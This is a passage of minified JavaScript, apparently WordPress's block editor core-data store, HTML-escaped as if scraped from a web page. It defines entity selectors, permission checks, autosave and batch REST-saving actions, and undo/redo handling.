Ed.DOCUMENT_SIZE_LIMIT_EXCEEDED===e.status?.error?.code?!1:t}return t}var hf=(0,In.combineReducers)({users:Dy,currentTheme:Oy,currentGlobalStylesId:Uy,currentUser:ky,themeGlobalStyleVariations:Py,themeBaseGlobalStyles:Ly,themeGlobalStyleRevisions:Wy,entities:By,editsReference:Fy,undoManager:jy,embedPreviews:Yy,userPermissions:Gy,autosaves:$y,blockPatterns:zy,blockPatternCategories:Ky,userPatternCategories:Hy,navigationFallbackId:qy,defaultTemplates:Jy,registeredPostMeta:Qy,editorSettings:Xy,editorAssets:Zy,syncConnectionStatuses:eE,collaborationSupported:tE});var bc={};bt(bc,{__experimentalGetCurrentGlobalStylesId:()=&gt;Cf,__experimentalGetCurrentThemeBaseGlobalStyles:()=&gt;YE,__experimentalGetCurrentThemeGlobalStylesVariations:()=&gt;GE,__experimentalGetDirtyEntityRecords:()=&gt;CE,__experimentalGetEntitiesBeingSaved:()=&gt;RE,__experimentalGetEntityRecordNoResolver:()=&gt;_E,canUser:()=&gt;Rf,canUserEditEntityRecord:()=&gt;NE,getAuthors:()=&gt;gE,getAutosave:()=&gt;BE,getAutosaves:()=&gt;VE,getBlockPatternCategories:()=&gt;zE,getBlockPatterns:()=&gt;$E,getCurrentTheme:()=&gt;Zo,getCurrentThemeGlobalStylesRevisions:()=&gt;HE,getCurrentUser:()=&gt;mE,getDefaultTemplateId:()=&gt;Ec,getEditedEntityRecord:()=&gt;_c,getEmbedPreview:()=&gt;PE,getEntitiesByKind:()=&gt;yE,getEntitiesConfig:()=&gt;_f,getEntity:()=&gt;EE,getEntityConfig:()=&gt;Pr,getEntityRecord:()=&gt;xe,getEntityRecordEdits:()=&gt;wc,getEntityRecordNonTransientEdits:()=&gt;bf,getEntityRecords:()=&gt;Xo,getEntityRecordsTotalItems:()=&gt;bE,getEntityRecordsTotalPages:()=&gt;vE,getLastEntityDeleteError:()=&gt;AE,getLastEntitySaveError:()=&gt;IE,getRawEntityRecord:()=&gt;Sf,getRedoEdit:()=&gt;kE,getReferenceByDistinctEdits:()=&gt;FE,getRevision:()=&gt;WE,getRevisions:()=&gt;qE,getThemeSupports:()=&gt;LE,getUndoEdit:()=&gt;DE,getUserPatternCategories:()=&gt;KE,getUserQueryResults:()=&gt;wf,hasEditsForEntityRecord:()=&gt;vf,hasEntityRecord:()=&gt;wE,hasEntityRecords:()=&gt;SE,hasFetchedAutosaves:()=&gt;jE,hasRedo:()=&gt;UE,hasUndo:()=&gt;OE,isAutosavingEntityRecord:()=&gt;TE,isDeletingEntityRecord:()=&gt;xE,isPreviewEmbedFallback:()=&gt;ME,isRequestingEmbedPreview:()=&gt;pE,isSavingEntityRecord:()=&gt;Sc});var me=w(W(),1),Ef=w(Ze(),1),Et=w(er(),1);var yc={};bt(yc,{getBlockPatternsForPostType:()=&gt;nE,getEditorAssets:()=&gt;uE,getEditorSettings:()=&gt;lE,getEntityRecordPermissions:()=&gt;oE,getEntityRecordsPermissions:()=&gt;mf,getHomePage:()=&gt;iE,getNavigationFallbackId:()=&gt;rE,getPostsPageId:()=&gt;cE,getRegisteredPostMeta:()=&gt;sE,getSyncConnectionStatus:()=&gt;fE,getTemplateId:()=&gt;aE,getUndoManager:()=&gt;Qo,isCollaborationSupported:()=&gt;dE});var je=w(W(),1);var gf=w(er(),1);var mc=!1;function A(t,e,r,{alternativeFunctionName:n,isShorthandSelector:o=!1}={}){let s=sf[t]?.[e];if(s){if(!mc){let{alternative:i}=s,c=o?`&#039;${r}&#039;`:`The &#039;${t}&#039;, &#039;${e}&#039; entity (used via &#039;${r}&#039;)`,a=`the &#039;${i.kind}&#039;, &#039;${i.name}&#039; entity`;n&amp;&amp;(a+=` via the &#039;${n}&#039; function`),(0,gf.default)(c,{...s,alternative:a})}mc=!0,setTimeout(()=&gt;{mc=!1},0)}}function Qo(t){return pe()?.undoManager??t.undoManager}function rE(t){return t.navigationFallbackId}var nE=(0,je.createRegistrySelector)(t=&gt;(0,je.createSelector)((e,r)=&gt;t(x).getBlockPatterns().filter(({postTypes:n})=&gt;!n||Array.isArray(n)&amp;&amp;n.includes(r)),()=&gt;[t(x).getBlockPatterns()])),mf=(0,je.createRegistrySelector)(t=&gt;(0,je.createSelector)((e,r,n,o)=&gt;(Array.isArray(o)?o:[o]).map(i=&gt;({delete:t(x).canUser(&quot;delete&quot;,{kind:r,name:n,id:i}),update:t(x).canUser(&quot;update&quot;,{kind:r,name:n,id:i})})),e=&gt;[e.userPermissions]));function oE(t,e,r,n){return A(e,r,&quot;getEntityRecordPermissions&quot;),mf(t,e,r,n)[0]}function sE(t,e){return t.registeredPostMeta?.[e]??{}}function yf(t){return!t||![&quot;number&quot;,&quot;string&quot;].includes(typeof t)||Number(t)===0?null:t.toString()}var iE=(0,je.createRegistrySelector)(t=&gt;(0,je.createSelector)(()=&gt;{let e=t(x).getEntityRecord(&quot;root&quot;,&quot;__unstableBase&quot;);if(!e)return null;let r=e?.show_on_front===&quot;page&quot;?yf(e.page_on_front):null;if(r)return{postType:&quot;page&quot;,postId:r};let n=t(x).getDefaultTemplateId({slug:&quot;front-page&quot;});return n?{postType:&quot;wp_template&quot;,postId:n}:null},e=&gt;[xe(e,&quot;root&quot;,&quot;site&quot;),xe(e,&quot;root&quot;,&quot;__unstableBase&quot;),Ec(e,{slug:&quot;front-page&quot;})])),cE=(0,je.createRegistrySelector)(t=&gt;()=&gt;{let e=t(x).getEntityRecord(&quot;root&quot;,&quot;__unstableBase&quot;);return e?.show_on_front===&quot;page&quot;?yf(e.page_for_posts):null}),aE=(0,je.createRegistrySelector)(t=&gt;(e,r,n)=&gt;{let o=Se(t(x)).getHomePage();if(!o)return;if(r===&quot;page&quot;&amp;&amp;r===o?.postType&amp;&amp;n.toString()===o?.postId){let u=t(x).getEntityRecords(&quot;postType&quot;,&quot;wp_template&quot;,{per_page:-1});if(!u)return;let l=u.find(({slug:d})=&gt;d===&quot;front-page&quot;)?.id;if(l)return l}let s=t(x).getEditedEntityRecord(&quot;postType&quot;,r,n);if(!s)return;let i=Se(t(x)).getPostsPageId();if(r===&quot;page&quot;&amp;&amp;i===n.toString())return t(x).getDefaultTemplateId({slug:&quot;home&quot;});let c=s.template;if(c){let u=t(x).getEntityRecords(&quot;postType&quot;,&quot;wp_template&quot;,{per_page:-1})?.find(({slug:l})=&gt;l===c);if(u)return u.id}let a;return s.slug?a=r===&quot;page&quot;?`${r}-${s.slug}`:`single-${r}-${s.slug}`:a=r===&quot;page&quot;?&quot;page&quot;:`single-${r}`,t(x).getDefaultTemplateId({slug:a})});function lE(t){return t.editorSettings}function uE(t){return t.editorAssets}function dE(t){return t.collaborationSupported}function fE(t){if(!t.syncConnectionStatuses)return;let e=[&quot;disconnected&quot;,&quot;connecting&quot;,&quot;connected&quot;],r;for(let n of Object.values(t.syncConnectionStatuses))(!r||e.indexOf(n.status)&lt;e.indexOf(r.status))&amp;&amp;(r=n);return r}var hE={},pE=(0,me.createRegistrySelector)(t=&gt;(e,r)=&gt;t(x).isResolving(&quot;getEmbedPreview&quot;,[r]));function gE(t,e){(0,Et.default)(&quot;select( &#039;core&#039; ).getAuthors()&quot;,{since:&quot;5.9&quot;,alternative:&quot;select( &#039;core&#039; ).getUsers({ who: &#039;authors&#039; })&quot;});let r=(0,Ef.addQueryArgs)(&quot;/wp/v2/users/?who=authors&amp;per_page=100&quot;,e);return wf(t,r)}function mE(t){return t.currentUser}var wf=(0,me.createSelector)((t,e)=&gt;(t.users.queries[e]??[]).map(n=&gt;t.users.byId[n]),(t,e)=&gt;[t.users.queries[e],t.users.byId]);function yE(t,e){return(0,Et.default)(&quot;wp.data.select( &#039;core&#039; ).getEntitiesByKind()&quot;,{since:&quot;6.0&quot;,alternative:&quot;wp.data.select( &#039;core&#039; ).getEntitiesConfig()&quot;}),_f(t,e)}var _f=(0,me.createSelector)((t,e)=&gt;t.entities.config.filter(r=&gt;r.kind===e),(t,e)=&gt;t.entities.config);function EE(t,e,r){return(0,Et.default)(&quot;wp.data.select( &#039;core&#039; ).getEntity()&quot;,{since:&quot;6.0&quot;,alternative:&quot;wp.data.select( &#039;core&#039; ).getEntityConfig()&quot;}),Pr(t,e,r)}function Pr(t,e,r){return A(e,r,&quot;getEntityConfig&quot;),t.entities.config?.find(n=&gt;n.kind===e&amp;&amp;n.name===r)}var xe=(0,me.createSelector)(((t,e,r,n,o)=&gt;{A(e,r,&quot;getEntityRecord&quot;);let s=t.entities.records?.[e]?.[r]?.queriedData;if(!s)return;let i=o?.context??&quot;default&quot;;if(!o||!o._fields)return s.itemIsComplete[i]?.[n]?s.items[i][n]:void 0;let c=s.items[i]?.[n];if(!c)return c;let a={},u=ie(o._fields)??[];for(let l=0;l&lt;u.length;l++){let d=u[l].split(&quot;.&quot;),f=c;d.forEach(h=&gt;{f=f?.[h]}),Xe(a,d,f)}return a}),(t,e,r,n,o)=&gt;{let s=o?.context??&quot;default&quot;,i=t.entities.records?.[e]?.[r]?.queriedData;return[i?.items[s]?.[n],i?.itemIsComplete[s]?.[n]]});xe.__unstableNormalizeArgs=t=&gt;{let e=[...t],r=e?.[2];return e[2]=Fr(r)?Number(r):r,e};function wE(t,e,r,n,o){let s=t.entities.records?.[e]?.[r]?.queriedData;if(!s)return!1;let i=o?.context??&quot;default&quot;;if(!o||!o._fields)return!!s.itemIsComplete[i]?.[n];let c=s.items[i]?.[n];if(!c)return!1;let a=ie(o._fields)??[];for(let u=0;u&lt;a.length;u++){let l=a[u].split(&quot;.&quot;),d=c;for(let f=0;f&lt;l.length;f++){let h=l[f];if(!d||!Object.hasOwn(d,h))return!1;d=d[h]}}return!0}function _E(t,e,r,n){return xe(t,e,r,n)}var Sf=(0,me.createSelector)((t,e,r,n)=&gt;{A(e,r,&quot;getRawEntityRecord&quot;);let o=xe(t,e,r,n);return o&amp;&amp;Object.keys(o).reduce((s,i)=&gt;(ps(Pr(t,e,r),i)?s[i]=o[i]?.raw!==void 0?o[i]?.raw:o[i]:s[i]=o[i],s),{})},(t,e,r,n,o)=&gt;{let s=o?.context??&quot;default&quot;;return[t.entities.config,t.entities.records?.[e]?.[r]?.queriedData?.items[s]?.[n],t.entities.records?.[e]?.[r]?.queriedData?.itemIsComplete[s]?.[n]]});function SE(t,e,r,n){return A(e,r,&quot;hasEntityRecords&quot;),Array.isArray(Xo(t,e,r,n))}var Xo=((t,e,r,n)=&gt;{A(e,r,&quot;getEntityRecords&quot;);let o=t.entities.records?.[e]?.[r]?.queriedData;return o?ys(o,n):null}),bE=(t,e,r,n)=&gt;{A(e,r,&quot;getEntityRecordsTotalItems&quot;);let o=t.entities.records?.[e]?.[r]?.queriedData;return o?Es(o,n):null},vE=(t,e,r,n)=&gt;{A(e,r,&quot;getEntityRecordsTotalPages&quot;);let o=t.entities.records?.[e]?.[r]?.queriedData;if(!o)return null;if(n?.per_page===-1)return 1;let s=Es(o,n);return s&amp;&amp;(n?.per_page?Math.ceil(s/n.per_page):da(o,n))},CE=(0,me.createSelector)(t=&gt;{let{entities:{records:e}}=t,r=[];return Object.keys(e).forEach(n=&gt;{Object.keys(e[n]).forEach(o=&gt;{let s=Object.keys(e[n][o].edits).filter(i=&gt;xe(t,n,o,i)&amp;&amp;vf(t,n,o,i));if(s.length){let i=Pr(t,n,o);s.forEach(c=&gt;{let a=_c(t,n,o,c);r.push({key:a?a[i.key||M]:void 0,title:i?.getTitle?.(a)||&quot;&quot;,name:o,kind:n})})}})}),r},t=&gt;[t.entities.records]),RE=(0,me.createSelector)(t=&gt;{let{entities:{records:e}}=t,r=[];return Object.keys(e).forEach(n=&gt;{Object.keys(e[n]).forEach(o=&gt;{let s=Object.keys(e[n][o].saving).filter(i=&gt;Sc(t,n,o,i));if(s.length){let i=Pr(t,n,o);s.forEach(c=&gt;{let a=_c(t,n,o,c);r.push({key:a?a[i.key||M]:void 0,title:i?.getTitle?.(a)||&quot;&quot;,name:o,kind:n})})}})}),r},t=&gt;[t.entities.records]);function wc(t,e,r,n){return A(e,r,&quot;getEntityRecordEdits&quot;),t.entities.records?.[e]?.[r]?.edits?.[n]}var bf=(0,me.createSelector)((t,e,r,n)=&gt;{A(e,r,&quot;getEntityRecordNonTransientEdits&quot;);let{transientEdits:o}=Pr(t,e,r)||{},s=wc(t,e,r,n)||{};return o?Object.keys(s).reduce((i,c)=&gt;(o[c]||(i[c]=s[c]),i),{}):s},(t,e,r,n)=&gt;[t.entities.config,t.entities.records?.[e]?.[r]?.edits?.[n]]);function vf(t,e,r,n){return A(e,r,&quot;hasEditsForEntityRecord&quot;),Sc(t,e,r,n)||Object.keys(bf(t,e,r,n)).length&gt;0}var _c=(0,me.createSelector)((t,e,r,n)=&gt;{A(e,r,&quot;getEditedEntityRecord&quot;);let o=Sf(t,e,r,n),s=wc(t,e,r,n);return!o&amp;&amp;!s?!1:{...o,...s}},(t,e,r,n,o)=&gt;{let s=o?.context??&quot;default&quot;;return[t.entities.config,t.entities.records?.[e]?.[r]?.queriedData.items[s]?.[n],t.entities.records?.[e]?.[r]?.queriedData.itemIsComplete[s]?.[n],t.entities.records?.[e]?.[r]?.edits?.[n]]});function TE(t,e,r,n){A(e,r,&quot;isAutosavingEntityRecord&quot;);let{pending:o,isAutosave:s}=t.entities.records?.[e]?.[r]?.saving?.[n]??{};return!!(o&amp;&amp;s)}function Sc(t,e,r,n){return A(e,r,&quot;isSavingEntityRecord&quot;),t.entities.records?.[e]?.[r]?.saving?.[n]?.pending??!1}function xE(t,e,r,n){return A(e,r,&quot;isDeletingEntityRecord&quot;),t.entities.records?.[e]?.[r]?.deleting?.[n]?.pending??!1}function IE(t,e,r,n){return A(e,r,&quot;getLastEntitySaveError&quot;),t.entities.records?.[e]?.[r]?.saving?.[n]?.error}function AE(t,e,r,n){return A(e,r,&quot;getLastEntityDeleteError&quot;),t.entities.records?.[e]?.[r]?.deleting?.[n]?.error}function DE(t){(0,Et.default)(&quot;select( &#039;core&#039; ).getUndoEdit()&quot;,{since:&quot;6.3&quot;})}function kE(t){(0,Et.default)(&quot;select( &#039;core&#039; ).getRedoEdit()&quot;,{since:&quot;6.3&quot;})}function OE(t){return Qo(t).hasUndo()}function UE(t){return Qo(t).hasRedo()}function Zo(t){return t.currentTheme?xe(t,&quot;root&quot;,&quot;theme&quot;,t.currentTheme):null}function Cf(t){return t.currentGlobalStylesId}function LE(t){return Zo(t)?.theme_supports??hE}function PE(t,e){return t.embedPreviews[e]}function ME(t,e){let r=t.embedPreviews[e],n=&#039;&lt;a href=&quot;&#039;+e+&#039;&quot;&gt;&#039;+e+&quot;&lt;/a&gt;&quot;;return r?r.html===n:!1}function Rf(t,e,r,n){let o=typeof r==&quot;object&quot;;if(o&amp;&amp;(!r.kind||!r.name))return!1;o&amp;&amp;A(r.kind,r.name,&quot;canUser&quot;);let s=Rt(e,r,n);return t.userPermissions[s]}function NE(t,e,r,n){return(0,Et.default)(&quot;wp.data.select( &#039;core&#039; ).canUserEditEntityRecord()&quot;,{since:&quot;6.7&quot;,alternative:&quot;wp.data.select( &#039;core&#039; ).canUser( &#039;update&#039;, { kind, name, id } )&quot;}),Rf(t,&quot;update&quot;,{kind:e,name:r,id:n})}function VE(t,e,r){return t.autosaves[r]}function BE(t,e,r,n){return n===void 0?void 0:t.autosaves[r]?.find(s=&gt;s.author===n)}var jE=(0,me.createRegistrySelector)(t=&gt;(e,r,n)=&gt;t(x).hasFinishedResolution(&quot;getAutosaves&quot;,[r,n]));function FE(t){return t.editsReference}function YE(t){let e=Zo(t);return e?t.themeBaseGlobalStyles[e.stylesheet]:null}function GE(t){let e=Zo(t);return e?t.themeGlobalStyleVariations[e.stylesheet]:null}function $E(t){return t.blockPatterns}function zE(t){return t.blockPatternCategories}function KE(t){return t.userPatternCategories}function HE(t){(0,Et.default)(&quot;select( &#039;core&#039; ).getCurrentThemeGlobalStylesRevisions()&quot;,{since:&quot;6.5.0&quot;,alternative:&quot;select( &#039;core&#039; ).getRevisions( &#039;root&#039;, &#039;globalStyles&#039;, ${ recordKey } )&quot;});let e=Cf(t);return e?t.themeGlobalStyleRevisions[e]:null}function Ec(t,e){return t.defaultTemplates[JSON.stringify(e)]}var qE=(t,e,r,n,o)=&gt;{A(e,r,&quot;getRevisions&quot;);let s=t.entities.records?.[e]?.[r]?.revisions?.[n];return s?ys(s,o):null},WE=(0,me.createSelector)((t,e,r,n,o,s)=&gt;{A(e,r,&quot;getRevision&quot;);let i=t.entities.records?.[e]?.[r]?.revisions?.[n];if(!i)return;let c=s?.context??&quot;default&quot;;if(!s||!s._fields)return i.itemIsComplete[c]?.[o]?i.items[c][o]:void 0;let a=i.items[c]?.[o];if(!a)return a;let u={},l=ie(s._fields)??[];for(let d=0;d&lt;l.length;d++){let f=l[d].split(&quot;.&quot;),h=a;f.forEach(p=&gt;{h=h?.[p]}),Xe(u,f,h)}return u},(t,e,r,n,o,s)=&gt;{let i=s?.context??&quot;default&quot;,c=t.entities.records?.[e]?.[r]?.revisions?.[n];return[c?.items?.[i]?.[o],c?.itemIsComplete?.[i]?.[o]]});var Ac={};bt(Ac,{__experimentalBatch:()=&gt;pw,__experimentalReceiveCurrentGlobalStylesId:()=&gt;nw,__experimentalReceiveThemeBaseGlobalStyles:()=&gt;ow,__experimentalReceiveThemeGlobalStyleVariations:()=&gt;sw,__experimentalSaveSpecifiedEntityEdits:()=&gt;mw,__unstableCreateUndoLevel:()=&gt;hw,addEntities:()=&gt;ew,clearEntityRecordEdits:()=&gt;uw,deleteEntityRecord:()=&gt;xc,editEntityRecord:()=&gt;lw,receiveAutosaves:()=&gt;ww,receiveCurrentTheme:()=&gt;rw,receiveCurrentUser:()=&gt;ZE,receiveDefaultTemplateId:()=&gt;Sw,receiveEmbedPreview:()=&gt;aw,receiveEntityRecords:()=&gt;tw,receiveNavigationFallbackId:()=&gt;_w,receiveRevisions:()=&gt;bw,receiveThemeGlobalStyleRevisions:()=&gt;cw,receiveThemeSupports:()=&gt;iw,receiveUploadPermissions:()=&gt;yw,receiveUserPermission:()=&gt;Df,receiveUserPermissions:()=&gt;Ew,receiveUserQuery:()=&gt;XE,redo:()=&gt;fw,saveEditedEntityRecord:()=&gt;gw,saveEntityRecord:()=&gt;Ic,undo:()=&gt;dw});var If=w(Qe(),1);var Tc=w(Ae(),1),Af=w(Ze(),1),es=w(er(),1);var Cc=w(Ae(),1),vc=null;function JE(t,e){let r=[...t],n=[];for(;r.length;)n.push(r.splice(0,e));return n}async function Tf(t){vc===null&amp;&amp;(vc=(await(0,Cc.default)({path:&quot;/batch/v1&quot;,method:&quot;OPTIONS&quot;})).endpoints[0].args.requests.maxItems);let e=[];for(let r of JE(t,vc)){let n=await(0,Cc.default)({path:&quot;/batch/v1&quot;,method:&quot;POST&quot;,data:{validation:&quot;require-all-validate&quot;,requests:r.map(s=&gt;({path:s.path,body:s.data,method:s.method,headers:s.headers}))}}),o;n.failed?o=n.responses.map(s=&gt;({error:s?.body})):o=n.responses.map(s=&gt;{let i={};return s.status&gt;=200&amp;&amp;s.status&lt;300?i.output=s.body:i.error=s.body,i}),e.push(...o)}return e}function Rc(t=Tf){let e=0,r=[],n=new QE;return{add(o){let s=++e;n.add(s);let i=c=&gt;new Promise((a,u)=&gt;{r.push({input:c,resolve:a,reject:u}),n.delete(s)});return typeof o==&quot;function&quot;?Promise.resolve(o(i)).finally(()=&gt;{n.delete(s)}):i(o)},async run(){n.size&amp;&amp;await new Promise(i=&gt;{let c=n.subscribe(()=&gt;{n.size||(c(),i(void 0))})});let o;try{if(o=await t(r.map(({input:i})=&gt;i)),o.length!==r.length)throw new Error(&quot;run: Array returned by processor must be same size as input array.&quot;)}catch(i){for(let{reject:c}of r)c(i);throw i}let s=!0;return o.forEach((i,c)=&gt;{let a=r[c];i?.error?(a?.reject(i.error),s=!1):a?.resolve(i?.output??i)}),r=[],s}}}var QE=class{constructor(...t){this.set=new Set(...t),this.subscribers=new Set}get size(){return this.set.size}add(t){return this.set.add(t),this.subscribers.forEach(e=&gt;e()),this}delete(t){let e=this.set.delete(t);return this.subscribers.forEach(r=&gt;r()),e}subscribe(t){return this.subscribers.add(t),()=&gt;{this.subscribers.delete(t)}}};function xf(t){return t.status===&quot;auto-draft&quot;?{...t,title:&quot;&quot;}:t}function XE(t,e){return{type:&quot;RECEIVE_USER_QUERY&quot;,users:Array.isArray(e)?e:[e],queryID:t}}function ZE(t){return{type:&quot;RECEIVE_CURRENT_USER&quot;,currentUser:t}}function ew(t){return{type:&quot;ADD_ENTITIES&quot;,entities:t}}function tw(t,e,r,n=void 0,o=!1,s=void 0,i=void 0){t===&quot;postType&quot;&amp;&amp;(r=Array.isArray(r)?r.map(xf):xf(r));let c;return n?c=ta(r,n,s,i):c=ms(r,s,i),{...c,kind:t,name:e,invalidateCache:o}}function rw(t){return{type:&quot;RECEIVE_CURRENT_THEME&quot;,currentTheme:t}}function nw(t){return{type:&quot;RECEIVE_CURRENT_GLOBAL_STYLES_ID&quot;,id:t}}function ow(t,e){return{type:&quot;RECEIVE_THEME_GLOBAL_STYLES&quot;,stylesheet:t,globalStyles:e}}function sw(t,e){return{type:&quot;RECEIVE_THEME_GLOBAL_STYLE_VARIATIONS&quot;,stylesheet:t,variations:e}}function iw(){return(0,es.default)(&quot;wp.data.dispatch( &#039;core&#039; ).receiveThemeSupports&quot;,{since:&quot;5.9&quot;}),{type:&quot;DO_NOTHING&quot;}}function cw(t,e){return(0,es.default)(&quot;wp.data.dispatch( &#039;core&#039; ).receiveThemeGlobalStyleRevisions()&quot;,{since:&quot;6.5.0&quot;,alternative:&quot;wp.data.dispatch( &#039;core&#039; ).receiveRevisions&quot;}),{type:&quot;RECEIVE_THEME_GLOBAL_STYLE_REVISIONS&quot;,currentId:t,revisions:e}}function aw(t,e){return{type:&quot;RECEIVE_EMBED_PREVIEW&quot;,url:t,preview:e}}var xc=(t,e,r,n,{__unstableFetch:o=Tc.default,throwOnError:s=!1}={})=&gt;async({dispatch:i,resolveSelect:c})=&gt;{A(t,e,&quot;deleteEntityRecord&quot;);let u=(await c.getEntitiesConfig(t)).find(h=&gt;h.kind===t&amp;&amp;h.name===e),l,d=!1;if(!u)return;let f=await i.__unstableAcquireStoreLock(x,[&quot;entities&quot;,&quot;records&quot;,t,e,r],{exclusive:!0});try{i({type:&quot;DELETE_ENTITY_RECORD_START&quot;,kind:t,name:e,recordId:r});let h=!1,{baseURL:p}=u;t===&quot;postType&quot;&amp;&amp;e===&quot;wp_template&quot;&amp;&amp;(r&amp;&amp;typeof r==&quot;string&quot;&amp;&amp;!/^\d+$/.test(r)||!window?.__experimentalTemplateActivate)&amp;&amp;(p=p.slice(0,p.lastIndexOf(&quot;/&quot;))+&quot;/templates&quot;);try{let g=`${p}/${r}`;if(n&amp;&amp;(g=(0,Af.addQueryArgs)(g,n)),d=await o({path:g,method:&quot;DELETE&quot;}),await i(ea(t,e,r,!0)),u.syncConfig){let m=`${t}/${e}`,y=r;pe()?.unload(m,y)}}catch(g){h=!0,l=g}if(i({type:&quot;DELETE_ENTITY_RECORD_FINISH&quot;,kind:t,name:e,recordId:r,error:l}),h&amp;&amp;s)throw l;return d}finally{i.__unstableReleaseStoreLock(f)}},lw=(t,e,r,n,o={})=&gt;({select:s,dispatch:i})=&gt;{A(t,e,&quot;editEntityRecord&quot;);let c=s.getEntityConfig(t,e);if(!c)throw new Error(`The entity being edited (${t}, ${e}) does not have a loaded config.`);let{mergedEdits:a={}}=c,u=s.getRawEntityRecord(t,e,r),l=s.getEditedEntityRecord(t,e,r),d=Object.keys(n).reduce((h,p)=&gt;(h[p]=a[p]?{...l[p],...n[p]}:n[p],h),{}),f={kind:t,name:e,recordId:r,edits:Object.keys(n).reduce((h,p)=&gt;{let g=u[p],m=d[p];return h[p]=(0,If.default)(g,m)?void 0:m,h},{})};if(c.syncConfig){let h=`${t}/${e}`,p=r,g=o.undoIgnore?!1:!o.isCached,m=o.undoIgnore?rc:_d;pe()?.update(h,p,d,m,{isNewUndoLevel:g})}o.undoIgnore||s.getUndoManager().addRecord([{id:{kind:t,name:e,recordId:r},changes:Object.keys(n).reduce((h,p)=&gt;(h[p]={from:l[p],to:n[p]},h),{})}],o.isCached),i({type:&quot;EDIT_ENTITY_RECORD&quot;,...f})},uw=(t,e,r)=&gt;({select:n,dispatch:o})=&gt;{let s=n.getEntityConfig(t,e);if(A(t,e,&quot;clearEntityRecordEdits&quot;),!s)throw new Error(`The entity being edited (${t}, ${e}) does not have a loaded config.`);let i=n.getEntityRecordEdits(t,e,r);if(!i)return;let c=Object.keys(i).reduce((a,u)=&gt;(a[u]=void 0,a),{});o({type:&quot;EDIT_ENTITY_RECORD&quot;,kind:t,name:e,recordId:r,edits:c})},dw=()=&gt;({select:t,dispatch:e})=&gt;{let r=t.getUndoManager().undo();r&amp;&amp;e({type:&quot;UNDO&quot;,record:r})},fw=()=&gt;({select:t,dispatch:e})=&gt;{let r=t.getUndoManager().redo();r&amp;&amp;e({type:&quot;REDO&quot;,record:r})},hw=()=&gt;({select:t})=&gt;{t.getUndoManager().addRecord()},Ic=(t,e,r,{isAutosave:n=!1,__unstableFetch:o=Tc.default,throwOnError:s=!1}={})=&gt;async({select:i,resolveSelect:c,dispatch:a})=&gt;{A(t,e,&quot;saveEntityRecord&quot;);let l=(await c.getEntitiesConfig(t)).find(g=&gt;g.kind===t&amp;&amp;g.name===e);if(!l)return;let d=l.key??M,f=r[d],h=!!d&amp;&amp;!f,p=await a.__unstableAcquireStoreLock(x,[&quot;entities&quot;,&quot;records&quot;,t,e,f||Tn()],{exclusive:!0});try{for(let[_,S]of Object.entries(r))if(typeof S==&quot;function&quot;){let b=S(i.getEditedEntityRecord(t,e,f));a.editEntityRecord(t,e,f,{[_]:b},{undoIgnore:!0}),r[_]=b}a({type:&quot;SAVE_ENTITY_RECORD_START&quot;,kind:t,name:e,recordId:f,isAutosave:n});let g,m,y=!1,{baseURL:E}=l;t===&quot;postType&quot;&amp;&amp;e===&quot;wp_template&quot;&amp;&amp;(f&amp;&amp;typeof f==&quot;string&quot;&amp;&amp;!/^\d+$/.test(f)||!window?.__experimentalTemplateActivate)&amp;&amp;(E=E.slice(0,E.lastIndexOf(&quot;/&quot;))+&quot;/templates&quot;);try{let _=`${E}${f?&quot;/&quot;+f:&quot;&quot;}`,S=h?{}:i.getRawEntityRecord(t,e,f);if(n){let b=i.getCurrentUser(),I=b?b.id:void 0,O=await c.getAutosave(S.type,S.id,I),U={...S,...O,...r};if(U=Object.keys(U).reduce(($,j)=&gt;([&quot;title&quot;,&quot;excerpt&quot;,&quot;content&quot;,&quot;meta&quot;].includes(j)&amp;&amp;($[j]=U[j]),$),{status:U.status===&quot;auto-draft&quot;?&quot;draft&quot;:void 0}),g=await o({path:`${_}/autosaves`,method:&quot;POST&quot;,data:U}),S.id===g.id){let $={...S,...U,...g};$=Object.keys($).reduce((j,de)=&gt;([&quot;title&quot;,&quot;excerpt&quot;,&quot;content&quot;].includes(de)?j[de]=$[de]:de===&quot;status&quot;?j[de]=S.status===&quot;auto-draft&quot;&amp;&amp;$.status===&quot;draft&quot;?$.status:S.status:j[de]=S[de],j),{}),a.receiveEntityRecords(t,e,$,void 0,!0)}else a.receiveAutosaves(S.id,g)}else{let b=r;l.__unstablePrePersist&amp;&amp;(b={...b,...await l.__unstablePrePersist(S,b)}),g=await o({path:_,method:f?&quot;PUT&quot;:&quot;POST&quot;,data:b}),a.receiveEntityRecords(t,e,g,void 0,!0,b),l.syncConfig&amp;&amp;pe()?.update(`${t}/${e}`,f,g,rc,{isSave:!0})}}catch(_){y=!0,m=_}if(a({type:&quot;SAVE_ENTITY_RECORD_FINISH&quot;,kind:t,name:e,recordId:f,error:m,isAutosave:n}),y&amp;&amp;s)throw m;return g}finally{a.__unstableReleaseStoreLock(p)}},pw=t=&gt;async({dispatch:e})=&gt;{let r=Rc(),n={saveEntityRecord(i,c,a,u){return r.add(l=&gt;e.saveEntityRecord(i,c,a,{...u,__unstableFetch:l}))},saveEditedEntityRecord(i,c,a,u){return r.add(l=&gt;e.saveEditedEntityRecord(i,c,a,{...u,__unstableFetch:l}))},deleteEntityRecord(i,c,a,u,l){return r.add(d=&gt;e.deleteEntityRecord(i,c,a,u,{...l,__unstableFetch:d}))}},o=t.map(i=&gt;i(n)),[,...s]=await Promise.all([r.run(),...o]);return s},gw=(t,e,r,n)=&gt;async({select:o,dispatch:s,resolveSelect:i})=&gt;{if(A(t,e,&quot;saveEditedEntityRecord&quot;),!o.hasEditsForEntityRecord(t,e,r))return;let a=(await i.getEntitiesConfig(t)).find(f=&gt;f.kind===t&amp;&amp;f.name===e);if(!a)return;let u=a.key||M,l=o.getEntityRecordNonTransientEdits(t,e,r),d={[u]:r,...l};return await s.saveEntityRecord(t,e,d,n)},mw=(t,e,r,n,o)=&gt;async({select:s,dispatch:i,resolveSelect:c})=&gt;{if(A(t,e,&quot;__experimentalSaveSpecifiedEntityEdits&quot;),!s.hasEditsForEntityRecord(t,e,r))return;let a=s.getEntityRecordNonTransientEdits(t,e,r),u={};for(let h of n)Xe(u,h,gs(a,h));let f=(await c.getEntitiesConfig(t)).find(h=&gt;h.kind===t&amp;&amp;h.name===e)?.key||M;return r&amp;&amp;(u[f]=r),await i.saveEntityRecord(t,e,u,o)};function yw(t){return(0,es.default)(&quot;wp.data.dispatch( &#039;core&#039; ).receiveUploadPermissions&quot;,{since:&quot;5.9&quot;,alternative:&quot;receiveUserPermission&quot;}),Df(&quot;create/media&quot;,t)}function Df(t,e){return{type:&quot;RECEIVE_USER_PERMISSION&quot;,key:t,isAllowed:e}}function Ew(t){return{type:&quot;RECEIVE_USER_PERMISSIONS&quot;,permissions:t}}function 